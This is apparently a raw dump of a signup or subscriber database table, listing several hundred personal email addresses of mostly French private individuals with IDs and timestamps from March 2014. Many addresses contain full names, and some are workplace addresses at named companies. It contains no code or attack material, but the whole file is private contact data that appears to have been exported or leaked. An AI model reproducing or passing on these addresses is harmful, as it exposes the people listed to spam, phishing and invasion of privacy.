+2451;ta.vinca@yahoo.fr;2014-03-11 11:07:48; ; ;0 +2452;floriane.dubos@gmail.com;2014-03-11 11:08:53; ; ;0 +2453;sarl.colard@orange.fr;2014-03-11 11:11:32; ; ;0 +2454;romilly27@hotmail.fr;2014-03-11 11:11:37; ; ;0 +2455;myriamettheo@yahoo.fr;2014-03-11 11:12:07; ; ;0 +2456;mariefayolle@hotmail.fr;2014-03-11 11:12:58; ; ;0 +2457;mutinycore@gmail.com;2014-03-11 11:13:08; ; ;0 +2459;gregdjs@hotmail.fr;2014-03-11 11:13:40; ; ;0 +2460;helene1908@yahoo.fr;2014-03-11 11:13:42; ; ;0 +2461;l.philippon@aliceadsl.fr;2014-03-11 11:14:34; ; ;0 +2462;marina_salomatina@yahoo.fr;2014-03-11 11:14:51; ; ;0 +2463;alexandra.saenz@sfr.fr;2014-03-11 11:15:32; ; ;0 +2464;ladamdelphine@gmail.com;2014-03-11 11:16:38; ; ;0 +2465;dumas.laura@hotmail.fr;2014-03-11 11:17:05; ; ;0 +2466;sophieth@live.fr;2014-03-11 11:19:53; ; ;0 +2467;cmuss2801@free.fr;2014-03-11 11:25:31; ; ;0 +2468;choupinette-56@hotmail.fr;2014-03-11 11:28:11; ; ;0 +2469;sdelavelle@free.fr;2014-03-11 11:31:11; ; ;0 +2470;ju_garden@yahoo.fr;2014-03-11 11:34:04; ; ;0 +2471;zoe1371@hotmail.fr;2014-03-11 11:39:14; ; ;0 +2472;gguemin@yahoo.fr;2014-03-11 11:39:28; ; ;0 +2473;gaudival@hotmail.com;2014-03-11 11:44:17; ; ;0 +2474;kariine.jouanin78@gmail.com;2014-03-11 11:51:21; ; ;0 +2475;edwrougier@yahoo.fr;2014-03-11 11:51:24; ; ;0 +2477;e.mignaton@gmail.com;2014-03-11 11:57:07; ; ;0 +2479;katell2003@aol.com;2014-03-11 12:01:22; ; ;0 +2480;fanny.lr@hotmail.fr;2014-03-11 12:03:25; ; ;0 +2481;coulomb.patrick@free.fr;2014-03-11 12:06:26; ; ;0 +2482;missou68@hotmail.fr;2014-03-11 12:08:13; ; ;0 +2483;logan.montana@yahoo.fr;2014-03-11 12:08:16; ; ;0 +2484;captainemutine@yahoo.fr;2014-03-11 12:08:31; ; ;0 +2485;julitbailly@yahoo.fr;2014-03-11 12:08:53; ; ;0 +2486;aziliseugenie@hotmail.fr;2014-03-11 12:13:00; ; ;0 +2487;gaellelaport2@gmail.com;2014-03-11 12:19:09; ; ;0 +2488;maodaum@hotmail.fr;2014-03-11 12:19:34; ; ;0 +2489;boulou50100@gmail.com;2014-03-11 12:23:08; ; ;0 +2490;mandier@free.fr;2014-03-11 12:23:36; ; ;0 +2491;sylvie.panizzon@gmail.com;2014-03-11 12:26:10; ; ;0 +2492;helene.beneat@laposte.net;2014-03-11 12:27:51; ; ;0 +2493;raphadu66@msn.com;2014-03-11 12:32:41; ; ;0 +2494;ragot_martine@yahoo.fr;2014-03-11 12:37:50; ; ;0 +2495;shanicenat@hotmail.fr;2014-03-11 12:39:34; ; ;0 +2496;sophie.zazo@gmail.com;2014-03-11 12:39:58; ; ;0 +2497;mickie@noos.fr;2014-03-11 12:40:34; ; ;0 +2498;alvino.lopes@free.fr;2014-03-11 12:40:43; ; ;0 +2499;niquedoule@gmail.com;2014-03-11 12:45:36; ; ;0 +2500;nadine.bellon@voila.fr;2014-03-11 12:48:16; ; ;0 +2501;pharmaciedelauthion@gmail.com;2014-03-11 12:49:24; ; ;0 +2502;lucile.crespin@gmail.com;2014-03-11 12:50:45; ; ;0 +2503;mascloune@hotmail.fr;2014-03-11 12:51:09; ; ;0 +2504;blanckecline@gmail.com;2014-03-11 12:51:15; ; ;0 +2505;anastasia-benlil@hotmail.fr;2014-03-11 12:52:13; ; ;0 +2506;durand-claire@hotmail.fr;2014-03-11 12:52:57; ; ;0 +2507;maryline.delorme@sfr.fr;2014-03-11 12:55:07; ; ;0 +2508;chloe.luzillat@orange.fr;2014-03-11 12:59:08; ; ;0 +2509;miss_oim21@hotmail.fr;2014-03-11 12:59:20; ; ;0 +2510;lucie.pege@orange.fr;2014-03-11 13:03:08; ; ;0 +2511;Julie.muffat@hotmail.fr;2014-03-11 13:05:19; ; ;0 +2512;j.catberro@gmail.com;2014-03-11 13:05:57; ; ;0 +2513;marchandgwendoline@gmail.com;2014-03-11 13:08:09; ; ;0 +2514;couraultc@aol.com;2014-03-11 13:08:13; ; ;0 +2515;jocedane@gmail.com;2014-03-11 13:08:35; ; ;0 +2516;elodieminet@gmail.com;2014-03-11 13:14:01; ; ;0 +2517;sf66110@aol.com;2014-03-11 13:15:18; ; ;0 +2518;eloiseprovino@gmail.com;2014-03-11 13:18:55; ; ;0 +2519;gibertaline@hotmail.fr;2014-03-11 13:24:37; ; ;0 +2520;lalie1gall@orange.fr;2014-03-11 13:26:21; ; ;0 +2521;aurelie.marques@free.fr;2014-03-11 13:28:57; ; ;0 +2522;virginia41@hotmail.fr;2014-03-11 13:34:03; ; ;0 +2523;revoldis@yahoo.fr;2014-03-11 13:42:20; ; ;0 +2524;tokyoite3@hotmail.fr;2014-03-11 13:43:03; ; ;0 +2525;kitinelongo@gmail.com;2014-03-11 13:43:48; ; ;0 +2526;amandinetestut@gmail.com;2014-03-11 13:55:09; ; ;0 +2527;charlotte.santoro@hotmail.fr;2014-03-11 13:55:17; ; ;0 +2528;brasantunes.nathalie@neuf.fr;2014-03-11 13:58:50; ; ;0 +2529;nanou9.7.2@hotmail.fr;2014-03-11 14:08:18; ; ;0 +2530;lebonkevin1@hotmail.fr;2014-03-11 14:09:20; ; ;0 +2531;co.carole@orange.fr;2014-03-11 14:12:08; ; ;0 +2532;l.vinck@laposte.net;2014-03-11 14:14:06; ; ;0 +2533;gradoz.jean-louis@orange.fr;2014-03-11 14:15:50; ; ;0 +2534;geraldine.leclercq@gmail.com;2014-03-11 14:16:30; ; ;0 +2535;vincentcaroline@live.fr;2014-03-11 14:22:54; ; ;0 +2536;ilojadice93@hotmail.fr;2014-03-11 14:30:30; ; ;0 +2537;100drine.bert1@gmail.com;2014-03-11 14:30:30; ; ;0 +2538;vidot.n@laposte.net;2014-03-11 14:45:11; ; ;0 +2539;caeicher@hotmail.fr;2014-03-11 14:49:15; ; ;0 +2540;hlinda59@hotmail.fr;2014-03-11 14:52:29; ; ;0 +2542;fazaoui54@yahoo.fr;2014-03-11 15:15:54; ; ;0 +2544;dadalae@hotmail.com;2014-03-11 15:40:02; ; ;0 +2545;ochapinou@hotmail.com;2014-03-11 15:48:56; ; ;0 +2546;azulcielo60@hotmail.com;2014-03-11 15:51:57; ; ;0 +2547;stephanie.ayot@gmail.com;2014-03-11 15:57:43; ; ;0 +2548;lilly80@hotmail.fr;2014-03-11 16:05:02; ; ;0 +2549;mabullecosmeto@hotmail.fr;2014-03-11 16:05:25; ; ;0 +2550;nathalie.painblanc@gmail.com;2014-03-11 16:16:30; ; ;0 +2551;severinedie@gmail.com;2014-03-11 16:22:37; ; ;0 +2552;jessica.pellegrin@hotmail.fr;2014-03-11 16:28:15; ; ;0 +2553;crisauclair@yahoo.fr;2014-03-11 16:31:53; ; ;0 +2554;jennyocan@gmail.com;2014-03-11 17:02:17; ; ;0 +2555;saudeau.coralie@hotmail.fr;2014-03-11 17:07:17; ; ;0 +2556;july784@hotmail.com;2014-03-11 17:10:45; ; ;0 +2557;glnmagalie@gmail.com;2014-03-11 17:11:26; ; ;0 +2558;muriel.adeline@wanadoo.fr;2014-03-11 17:17:01; ; ;0 +2559;degroote.alexandra@hotmail.com;2014-03-11 18:04:03; ; ;0 +2560;justinecriquet@hotmail.fr;2014-03-11 18:06:27; ; ;0 +2561;argantia@hotmail.fr;2014-03-11 18:06:37; ; ;0 +2562;ambrea74@yahoo.fr;2014-03-11 18:09:26; ; ;0 +2563;sylviane.santrot@orange.fr;2014-03-11 18:21:02; ; ;0 +2564;loetitiad62@outlook.fr;2014-03-11 18:29:44; ; ;0 +2565;aziliz35400@hotmail.fr;2014-03-11 18:41:55; ; ;0 +2566;ksemennikova@gmail.com;2014-03-11 18:47:44; ; ;0 +2567;charlotte_normandie@hotmail.fr;2014-03-11 19:04:26; ; ;0 +2568;opaline1408@gmail.com;2014-03-11 19:12:58; ; ;0 +2569;elfemauve@aol.com;2014-03-11 19:13:28; ; ;0 +2570;Gothika77@live.fr;2014-03-11 19:29:14; ; ;0 +2571;melcat@hotmail.fr;2014-03-11 19:29:37; ; ;0 +2572;Chrisandri@hotmail.fr;2014-03-11 19:32:57; ; ;0 +2573;severine.debene@hotmail.fr;2014-03-11 20:00:06; ; ;0 +2574;emmapitchoune@yahoo.fr;2014-03-11 20:06:04; ; ;0 +2575;melach89@hotmail.fr;2014-03-11 20:17:31; ; ;0 +2576;stephanie.comello@aliceadsl.fr;2014-03-11 20:21:21; ; ;0 +2577;valiep27@msn.com;2014-03-11 20:33:59; ; ;0 +2578;VALIEPINOL@YAHOO.FR;2014-03-11 20:34:08; ; ;0 +2579;vpinol@auchan.fr;2014-03-11 20:34:16; ; ;0 +2580;anais.p77@live.fr;2014-03-11 20:34:23; ; ;0 +2581;amandine.guillaume1@gmail.com;2014-03-11 20:46:15; ; ;0 +2582;p-titepuce59@hotmail.fr;2014-03-11 20:56:41; ; ;0 +2583;bolzoya@gmail.com;2014-03-11 21:03:22; ; ;0 +2584;celaiden@hotmail.fr;2014-03-11 21:09:09; ; ;0 +2585;chrystelle.salle@akeonet.com;2014-03-11 21:17:28; ; ;0 +2587;ophea44@gmail.com;2014-03-11 21:22:38; ; ;0 +2588;bulle0593@hotmail.fr;2014-03-11 21:25:20; ; ;0 +2589;isa.lallemand@skynet.be;2014-03-11 21:25:27; ; ;0 +2590;klavisse@yahoo.fr;2014-03-11 21:33:03; ; ;0 +2591;manon.pautard@yahoo.fr;2014-03-11 21:48:53; ; ;0 +2592;domineo77@free.fr;2014-03-11 21:57:58; ; ;0 +2593;groboss@msn.com;2014-03-11 22:01:44; ; ;0 +2594;chloe-darbeau@hotmail.fr;2014-03-11 22:07:01; ; ;0 +2595;sabrina.dangeul@gmail.com;2014-03-11 22:15:40; ; ;0 +2596;ab_car2006@laposte.net;2014-03-11 22:50:40; ; ;0 +2597;yaelderai@gmail.com;2014-03-12 00:14:37; ; ;0 +2598;aurore.deutsch@gmail.com;2014-03-12 00:58:41; ; ;0 +2599;sabrinepedoussaut@orange.fr;2014-03-12 01:12:00; ; ;0 +2600;isabelle_leger@yahoo.fr;2014-03-12 01:27:53; ; ;0 +2601;lililolo@gmail.com;2014-03-12 02:24:07; ; ;0 +2602;c.ibanez6075@yahoo.fr;2014-03-12 03:36:39; ; ;0 +2603;malininou@hotmail.fr;2014-03-12 07:45:17; ; ;0 +2604;stephanie_ducolone@hotmail.fr;2014-03-12 07:50:25; ; ;0 +2605;e-chrys@hotmail.fr;2014-03-12 08:52:22; ; ;0 +2606;onuthedog@sfr.fr;2014-03-12 09:11:19; ; ;0 +2607;sofy_number5@hotmail.fr;2014-03-12 09:33:48; ; ;0 +2608;emmanuelle.larchet@live.fr;2014-03-12 10:03:30; ; ;0 +2609;fabiennemiguet@yahoo.com;2014-03-12 10:24:17; ; ;0 +2610;fabyloup@hotmail.fr;2014-03-12 10:38:34; ; ;0 +2611;dihya18@hotmail.com;2014-03-12 11:49:52; ; ;0 +2612;bijoux7@hotmail.fr;2014-03-12 12:03:48; ; ;0 +2613;ulfi13@hotmail.fr;2014-03-12 12:34:17; ; ;0 +2614;mysticpuce@yahoo.fr;2014-03-12 13:03:30; ; ;0 +2615;nathalie.cattrat@orange.fr;2014-03-12 13:26:00; ; ;0 +2617;annick.degousee@gmail.com;2014-03-12 14:10:55; ; ;0 +2618;ice.cupcake@gmail.com;2014-03-12 14:32:49; ; ;0 +2619;celinedab@hotmail.fr;2014-03-12 15:10:30; ; ;0 +2620;paulinem@yahoo-inc.com;2014-03-12 15:13:32; ; ;0 +2621;l.louvel@gmail.com;2014-03-12 15:16:10; ; ;0 +2622;jean-luc.neri975@orange.fr;2014-03-12 16:14:39; ; ;0 +2623;cdomecurely@xanadoo.fr;2014-03-12 16:17:10; ; ;0 +2624;cdomecurely@wanadoo.fr;2014-03-12 16:17:52; ; ;0 +2625;chaa.barreau@laposte.net;2014-03-12 16:53:34; ; ;0 +2626;paulinegrisez@gmail.com;2014-03-12 16:56:53; ; ;0 +2627;clarisse.caro@laposte.net;2014-03-12 18:10:24; ; ;0 +2628;delphineguiglion@yahoo.fr;2014-03-12 18:51:33; ; ;0 +2629;kmaline2@sfr.fr;2014-03-12 20:41:11; ; ;0 +2630;chouchou13_23@hotmail.fr;2014-03-12 21:19:57; ; ;0 +2631;alexandrajaraba@yahoo.com;2014-03-12 21:31:45; ; ;0 +2632;melodie.baron@hotmail.fr;2014-03-12 21:50:27; ; ;0 +2633;zinebakar@yahoo.fr;2014-03-12 22:29:34; ; ;0 +2634;dumontsandrine@ymail.com;2014-03-12 22:53:20; ; ;0 +2635;lavizelle@orange.fr;2014-03-12 23:10:06; ; ;0 +2636;mamzell_boo@hotmail.fr;2014-03-12 23:35:12; ; ;0 +2637;marion.cornudet@yahoo.fr;2014-03-12 23:37:12; ; ;0 +2638;corps.et.etre@neuf.fr;2014-03-12 23:43:39; ; ;0 +2639;alixgrd@gmail.com;2014-03-13 08:11:00; ; ;0 +2640;rockxisxlife@hotmail.fr;2014-03-13 09:14:09; ; ;0 +2641;lise.gomot@hotmail.fr;2014-03-13 10:08:05; ; ;0 +2642;cafedelatoile@gmail.com;2014-03-13 11:28:10; ; ;0 +2643;delphine.kinou@hotmail.fr;2014-03-13 12:52:28; ; ;0 +2644;melanie.pere@hotmail.fr;2014-03-13 13:54:46; ; ;0 +2646;valeriemolinier81@gmail.com;2014-03-13 14:40:56; ; ;0 +2647;al-et-lolo@hotmail.fr;2014-03-13 16:45:03; ; ;0 +2648;lucile.coulomb7@gmail.com;2014-03-13 17:41:12; ; ;0 +2649;gurrieri.fiona@gmail.com;2014-03-13 17:52:42; ; ;0 +2650;severine_menu@hotmail.com;2014-03-13 18:47:21; ; ;0 +2651;elsa_poullain25@msn.com;2014-03-13 19:44:34; ; ;0 +2652;perfect-nightmare@hotmail.fr;2014-03-13 20:05:01; ; ;0 +2653;barbu.oana00@gmail.com;2014-03-13 20:35:06; ; ;0 +2654;cmgisbert@gmail.com;2014-03-13 20:59:10; ; ;0 +2655;katlin_@hotmail.fr;2014-03-13 21:05:30; ; ;0 +2656;fred.mnd@gmail.com;2014-03-13 21:23:41; ; ;0 +2657;martine.deram@hotmail.fr;2014-03-13 21:28:14; ; ;0 +2658;emmanuelled7640@gmail.com;2014-03-13 21:36:36; ; ;0 +2660;lenapoirot@gmail.com;2014-03-13 21:51:45; ; ;0 +2661;j.geuens@hotmail.fr;2014-03-13 22:52:04; ; ;0 +2662;camcordier@msn.com;2014-03-13 23:46:59; ; ;0 +2663;patvirgin@orange.fr;2014-03-14 07:54:37; ; ;0 +2664;lnvb@vbm.re;2014-03-14 10:06:05; ; ;0 +2665;be.test86@gmail.com;2014-03-14 11:07:46; ; ;0 +2666;vzs@abv.bg;2014-03-14 13:57:03; ; ;0 +2667;vanessa.girot@hotmail.fr;2014-03-14 15:30:27; ; ;0 +2668;metiss12@hotmail.fr;2014-03-14 16:11:01; ; ;0 +2669;cguironnet@free.fr;2014-03-14 18:38:10; ; ;0 +2670;pop_pitchoune@hotmail.fr;2014-03-14 20:47:53; ; ;0 +2671;sibonfamili@yahoo.fr;2014-03-14 20:49:51; ; ;0 +2672;degafrederique@yahoo.fr;2014-03-15 00:06:34; ; ;0 +2673;rugolin.melissa@gmail.com;2014-03-15 01:51:54; ; ;0 +2674;kikastor@club-internet.fr;2014-03-15 03:25:45; ; ;0 +2675;lolia47@hotmail.com;2014-03-15 08:34:06; ; ;0 +2676;louna.colleuille@live.fr;2014-03-15 10:13:36; ; ;0 +2677;gautier.lucie1@gmail.com;2014-03-15 11:40:01; ; ;0 +2678;cerise322@hotmail.fr;2014-03-15 11:51:11; ; ;0 +2679;harmonyj@orange.fr;2014-03-15 14:08:23; ; ;0 +2680;cindy1583@hotmail.fr;2014-03-15 15:19:27; ; ;0 +2681;ciroussel@sfr.fr;2014-03-15 15:19:37; ; ;0 +2682;jajalem@hotmail.fr;2014-03-15 15:19:42; ; ;0 +2683;duhafrance@aol.com;2014-03-15 15:41:16; ; ;0 +2684;plume.renaud@orange.fr;2014-03-15 16:35:58; ; ;0 +2685;anne-marie.berthet@laposte.net;2014-03-15 17:19:33; ; ;0 +2686;audrey.aa31@gmail.com;2014-03-15 18:11:25; ; ;0 +2687;camilletouges@yahoo.fr;2014-03-15 18:13:14; ; ;0 +2688;chloleroux@hotmail.com;2014-03-15 18:24:07; ; ;0 +2689;ebonafos@hotmail.fr;2014-03-15 19:01:29; ; ;0 +2690;marine.de-bregeot@orange.fr;2014-03-15 19:24:11; ; ;0 +2691;sabrinette5757@live.fr;2014-03-15 21:45:06; ; ;0 +2692;Dahansophie@hotmail.com;2014-03-15 22:26:40; ; ;0 +2693;isabelle.masselot@orange.fr;2014-03-15 22:40:47; ; ;0 +2694;moniqueborredon@hotmail.fr;2014-03-15 23:26:43; ; ;0 +2695;cath.laurentoriol@gmail.com;2014-03-16 10:43:39; ; ;0 +2696;annefrancerenault@gmail.com;2014-03-16 11:30:15; ; ;0 +2697;stef.65@live.fr;2014-03-16 12:55:34; ; ;0 +2698;indesireeflorence@hotmail.fr;2014-03-16 14:07:59; ; ;0 +2699;laurence.vial10@gmail.com;2014-03-16 14:18:15; ; ;0 +2700;mariedwt@gmail.com;2014-03-16 14:42:33; ; ;0 +2701;ferreri-florence@bbox.fr;2014-03-16 18:03:40; ; ;0 +2702;sabinethomas.st@gmail.com;2014-03-16 18:28:00; ; ;0 +2703;chloe.hilt@gmail.com;2014-03-16 18:49:36; ; ;0 +2704;laura.hallais@gmail.com;2014-03-16 20:02:16; ; ;0 +2705;jitaime54@hotmail.fr;2014-03-16 20:13:00; ; ;0 +2707;emeline.leon@free.fr;2014-03-16 22:00:29; ; ;0 +2708;philomene.albert0@gmail.com;2014-03-16 22:23:47; ; ;0 +2709;Veroniquevitrat@yahoo.fr;2014-03-16 23:07:00; ; ;0 +2710;fanfreluche@gmail.com;2014-03-17 09:27:33; ; ;0 +2711;mafra.luciana@gmail.com;2014-03-17 10:34:45; ; ;0 +2712;alexacevellec@gmail.com;2014-03-17 11:22:33; ; ;0 +2713;Mellelondero@gmail.com;2014-03-17 11:52:00; ; ;0 +2714;sylvie.jane60@live.fr;2014-03-17 11:55:13; ; ;0 +2715;s.guilloizeau@adlpartner.fr;2014-03-17 11:55:27; ; ;0 +2716;anne_wauthier@hotmail.com;2014-03-17 12:14:53; ; ;0 +2717;beatrice_laroche@hotmail.com;2014-03-17 12:15:29; ; ;0 +2718;robin_68_06@hotmail.fr;2014-03-17 13:00:39; ; ;0 +2719;bastiani@pt.lu;2014-03-17 14:56:21; ; ;0 +2720;sylvielepailleur@hotmail.fr;2014-03-17 15:04:09; ; ;0 +2721;fannymaleditcazot@yahoo.fr;2014-03-17 15:42:42; ; ;0 +2722;lescoatkarine@yahoo.fr;2014-03-17 15:43:10; ; ;0 +2723;isabeller077@msn.com;2014-03-17 16:27:24; ; ;0 +2724;nathalie.portmann@laposte.net;2014-03-17 17:16:16; ; ;0 +2725;barbarabegot@gmail.com;2014-03-17 18:58:06; ; ;0 +2726;e.cordier@yahoo.fr;2014-03-17 19:47:28; ; ;0 +2728;aude_boniface@hotmail.fr;2014-03-17 21:37:48; ; ;0 +2729;leslie.chataigneau@gmail.com;2014-03-17 21:50:21; ; ;0 +2730;elodie171292@hotmail.fr;2014-03-17 22:21:45; ; ;0 +2731;bourgesariane@msn.com;2014-03-18 02:14:39; ; ;0 +2732;eddiekubiak@sfr.fr;2014-03-18 08:24:11; ; ;0 +2733;yvelinel@wanadoo.fr;2014-03-18 10:04:04; ; ;0 +2734;soleina92@hotmail.fr;2014-03-18 11:34:45; ; ;0 +2735;sophia.batata@fredhopper.com;2014-03-18 11:41:20; ; ;0 +2736;sophia.batata@gmail.com;2014-03-18 11:41:56; ; ;0 +2737;gusone@live.fr;2014-03-18 11:59:25; ; ;0 +2738;boudidipi@gmail.com;2014-03-18 12:28:05; ; ;0 +2739;pagotlaura@gmail.com;2014-03-18 12:40:22; ; ;0 +2740;deruy.amelie@hotmail.fr;2014-03-18 12:42:39; ; ;0 +2741;fabrik2com@hotmail.fr;2014-03-18 13:17:36; ; ;0 +2742;louisette76120@hotmail.fr;2014-03-18 14:15:29; ; ;0 +2743;miss-biforever@hotmail.fr;2014-03-18 14:15:59; ; ;0 +2744;emilie.moine@orange.fr;2014-03-18 14:26:45; ; ;0 +2745;lisa.greusard@gmail.com;2014-03-18 15:01:32; ; ;0 +2746;nina-franceschi@orange.fr;2014-03-18 15:19:47; ; ;0 +2747;sabahfranceschi@orange.fr;2014-03-18 15:19:56; ; ;0 +2748;nina.franceschi@hotmail.fr;2014-03-18 15:20:05; ; ;0 +2749;nina_franceschi@hotmail.fr;2014-03-18 15:20:15; ; ;0 +2750;chachalachieuse29@hotmail.com;2014-03-18 19:41:27; ; ;0 +2751;nuitdete57@yahoo.fr;2014-03-18 20:13:55; ; ;0 +2752;caroline.dupe@gmail.com;2014-03-18 21:26:15; ; ;0 +2753;chaoline@msn.com;2014-03-18 21:30:09; ; ;0 +2754;juliesticot@gmail.com;2014-03-18 21:37:35; ; ;0 +2755;lynxia@live.fr;2014-03-18 21:47:27; ; ;0 +2756;etio.marionroussel@gmail.com;2014-03-18 21:47:36; ; ;0 +2757;lebec.audrey@wanadoo.fr;2014-03-18 22:18:32; ; ;0 +2758;ngidelle@yahoo.fr;2014-03-19 09:03:56; ; ;0 +2759;henrynadege@gmail.com;2014-03-19 09:05:19; ; ;0 +2760;marina.aimee@yahoo.fr;2014-03-19 09:45:08; ; ;0 +2761;nathalie.camusat@orange.fr;2014-03-19 10:22:07; ; ;0 +2762;petiteplumedebeaute@live.fr;2014-03-19 10:40:18; ; ;0 +2763;sorcieredel@hotmail.fr;2014-03-19 11:14:29; ; ;0 +2764;pontran@orange.fr;2014-03-19 12:47:26; ; ;0 +2765;victoriaduc31@gmail.com;2014-03-19 12:52:26; ; ;0 +2766;alexedwige@aol.com;2014-03-19 13:02:43; ; ;0 +2767;droit.agnes@orange.fr;2014-03-19 14:06:50; ; ;0 +2768;cindyredanaymerick@laposte.net;2014-03-19 14:31:51; ; ;0 +2769;chutney75@free.fr;2014-03-19 15:33:25; ; ;0 +2770;julie.baurens@hotmail.fr;2014-03-19 15:58:19; ; ;0 +2771;st.hadji@yahoo.fr;2014-03-19 16:08:31; ; ;0 +2772;sarah.brouard@hotmail.fr;2014-03-19 16:18:54; ; ;0 +2773;maraisvanessa@orange.fr;2014-03-19 16:20:45; ; ;0 +2774;elodie.blanchard@sagacosmetic.com;2014-03-19 16:46:03; ; ;0 +2775;marina.salomatina@laposte.net;2014-03-19 17:44:27; ; ;0 +2776;m-coraline@live.fr;2014-03-19 17:47:57; ; ;0 +2777;juliebartre@hotmail.fr;2014-03-19 18:35:31; ; ;0 +2778;anne.masocco@hotmail.fr;2014-03-19 19:21:16; ; ;0 +2779;chri.loren@neuf.fr;2014-03-19 19:37:36; ; ;0 +2780;henaff_m@yahoo.fr;2014-03-19 21:17:32; ; ;0 +2782;aureliefuseau@free.fr;2014-03-19 22:07:49; ; ;0 +2783;vanessa.rouault@gmail.com;2014-03-19 22:14:06; ; ;0 +2784;standbymenorth@yahoo.fr;2014-03-19 22:24:07; ; ;0 +2785;lombard_christelle@orange.fr;2014-03-20 06:59:35; ; ;0 +2786;michellebauquier@gmail.com;2014-03-20 07:54:44; ; ;0 +2787;gisele.lyon@yahoo.fr;2014-03-20 08:31:23; ; ;0 +2788;lamgillesboyer@yahoo.fr;2014-03-20 09:20:25; ; ;0 +2789;labeautedelam@gmail.com;2014-03-20 09:20:43; ; ;0 +2790;esther.sougne@gmail.com;2014-03-20 09:51:35; ; ;0 +2791;sophietls@orange.fr;2014-03-20 10:13:26; ; ;0 +2792;la_grande_comu@msn.com;2014-03-20 10:23:22; ; ;0 +2793;nas063@hotmail.fr;2014-03-20 11:21:57; ; ;0 +2794;celine.bruhat@sfr.fr;2014-03-20 12:59:55; ; ;0 +2795;eapruitt@free.fr;2014-03-20 14:17:29; ; ;0 +2796;marine.italie@gmail.com;2014-03-20 15:03:07; ; ;0 +2797;lemesle.muriel@neuf.fr;2014-03-20 15:28:09; ; ;0 +2798;my-name-is-cruelty@gmx.fr;2014-03-20 17:13:38; ; ;0 +2799;margaux.josse@yahoo.fr;2014-03-20 17:14:36; ; ;0 +2800;allison.ditsch@laposte.net;2014-03-20 17:20:25; ; ;0 +2801;elloween@hotmail.fr;2014-03-20 19:10:00; ; ;0 +2802;zinox95@orange.fr;2014-03-20 21:19:03; ; ;0 +2803;fz60@hotmail.fr;2014-03-20 21:21:46; ; ;0 +2804;aurelieg60@gmail.com;2014-03-20 21:22:11; ; ;0 +2805;lastfanie@gmail.com;2014-03-20 23:09:40; ; ;0 +2806;ndesaint@live.fr;2014-03-20 23:24:05; ; ;0 +2807;moncelon.catherine@orange.fr;2014-03-21 07:16:55; ; ;0 +2808;j.colomas81@gmail.com;2014-03-21 09:06:38; ; ;0 +2809;juccook@gmail.com;2014-03-21 11:09:51; ; ;0 +2810;mariline.avon@live.fr;2014-03-21 11:23:22; ; ;0 +2811;anita.weber.koeln@gmx.de;2014-03-21 12:33:31; ; ;0 +2812;cambonie.c@gmail.com;2014-03-21 12:53:57; ; ;0 +2813;ferrand.nathalie@free.fr;2014-03-21 13:02:11; ; ;0 +2814;magdelon.corinne@orange.fr;2014-03-21 13:07:33; ; ;0 +2815;c.desp@laposte.net;2014-03-21 13:17:34; ; ;0 +2816;isabelle.gigan@aliceadsl.fr;2014-03-21 13:18:45; ; ;0 +2817;yasmina.boucekine@gmail.com;2014-03-21 13:27:53; ; ;0 +2819;mm0079@multipharma.be;2014-03-21 14:06:57; ; ;0 +2820;julyluci@wanadoo.fr;2014-03-21 14:50:29; ; ;0 +2821;camusstephane@yahoo.fr;2014-03-21 14:54:39; ; ;0 +2822;gaut.geraldine@orange.fr;2014-03-21 14:56:45; ; ;0 +2823;marylinedumas@yahoo.fr;2014-03-21 15:07:26; ; ;0 +2824;oce1949@orange.fr;2014-03-21 15:30:47; ; ;0 +2825;fleurpom@yahoo.co.uk;2014-03-21 15:34:03; ; ;0 +2826;christine.lefevre-romy@total.com;2014-03-21 15:39:25; ; ;0 +2827;d.vero66@live.fr;2014-03-21 16:07:41; ; ;0 +2828;xpoinsignon@gmail.com;2014-03-21 16:23:45; ; ;0 +2829;stephanie.bosser@free.fr;2014-03-21 16:41:18; ; ;0 +2830;plumelodie@gmail.com;2014-03-21 17:10:10; ; ;0 +2831;severinebessiere@gmail.com;2014-03-21 17:36:06; ; ;0 +2832;Jinks32@aol.com;2014-03-21 18:01:05; ; ;0 +2833;clotilde.ventalon@wanadoo.fr;2014-03-21 18:01:15; ; ;0 +2834;igdc@wanadoo.fr;2014-03-21 18:09:35; ; ;0 +2835;annebssr@gmail.com;2014-03-21 19:07:42; ; ;0 +2836;wagnercaroline70@gmail.fr;2014-03-21 20:11:32; ; ;0 +2837;wagnercaroline70@gmail.com;2014-03-21 20:13:53; ; ;0 +2838;vssa.giletti@wanadoo.fr;2014-03-21 21:36:15; ; ;0 +2839;benedicteheyman@hotmail.com;2014-03-21 21:50:53; ; ;0 +2840;king.aurore@yahoo.fr;2014-03-21 22:50:00; ; ;0 +2841;linda.decolinda@gmail.com;2014-03-21 23:24:54; ; ;0 +2842;mathilde.lanniaux@hotmail.fr;2014-03-22 01:39:59; ; ;0 +2843;bmazzanti@live.fr;2014-03-22 02:41:49; ; ;0 +2844;cunysantorini@aol.com;2014-03-22 07:56:27; ; ;0 +2845;bouletgercourts@hotmail.com;2014-03-22 08:12:22; ; ;0 +2846;camille.wallet@laposte.net;2014-03-22 09:10:04; ; ;0 +2847;florencetegoni@hotmail.com;2014-03-22 09:32:35; ; ;0 +2848;Fanch1983@hotmail.com;2014-03-22 10:07:13; ; ;0 +2849;pjeanne@laposte.net;2014-03-22 10:31:14; ; ;0 +2850;annonce.leboincoin@hotmail.fr;2014-03-22 10:35:59; ; ;0 +2851;odlevas@laposte.net;2014-03-22 12:30:43; ; ;0 +2852;karine.mille24@gmail.com;2014-03-22 12:35:55; ; ;0 +2853;ruafelicidade@hotmail.fr;2014-03-22 15:08:07; ; ;0 +2854;louise.tagand@gmail.com;2014-03-22 15:16:44; ; ;0 +2855;annick.molle@skynet.be;2014-03-22 15:20:56; ; ;0 +2857;chouca@live.fr;2014-03-22 16:17:25; ; ;0 +2858;corre.alizee@laposte.net;2014-03-22 16:25:13; ; ;0 +2859;hello.zoun@laposte.net;2014-03-22 16:26:03; ; ;0 +2860;hollowcrikete@hotmail.fr;2014-03-22 17:41:09; ; ;0 +2861;jeromeweis@hotmail.fr;2014-03-22 17:41:17; ; ;0 +2862;claudeetmonique59@hotmail.fr;2014-03-22 17:41:35; ; ;0 +2864;leaweis@hotmail.fr;2014-03-22 17:41:54; ; ;0 +2865;hollowcrikete@orange.fr;2014-03-22 17:42:05; ; ;0 +2866;jeromeweis@orange.fr;2014-03-22 17:42:12; ; ;0 +2867;virginie.weis@gmail.com;2014-03-22 17:42:38; ; ;0 +2868;bruno.tormen@orange.fr;2014-03-22 17:54:40; ; ;0 +2869;virginy.stoll@orange.fr;2014-03-22 18:14:27; ; ;0 +2870;personnes@wanadoo.fr;2014-03-22 18:28:08; ; ;0 +2871;bea.grellier@gmx.fr;2014-03-22 18:53:47; ; ;0 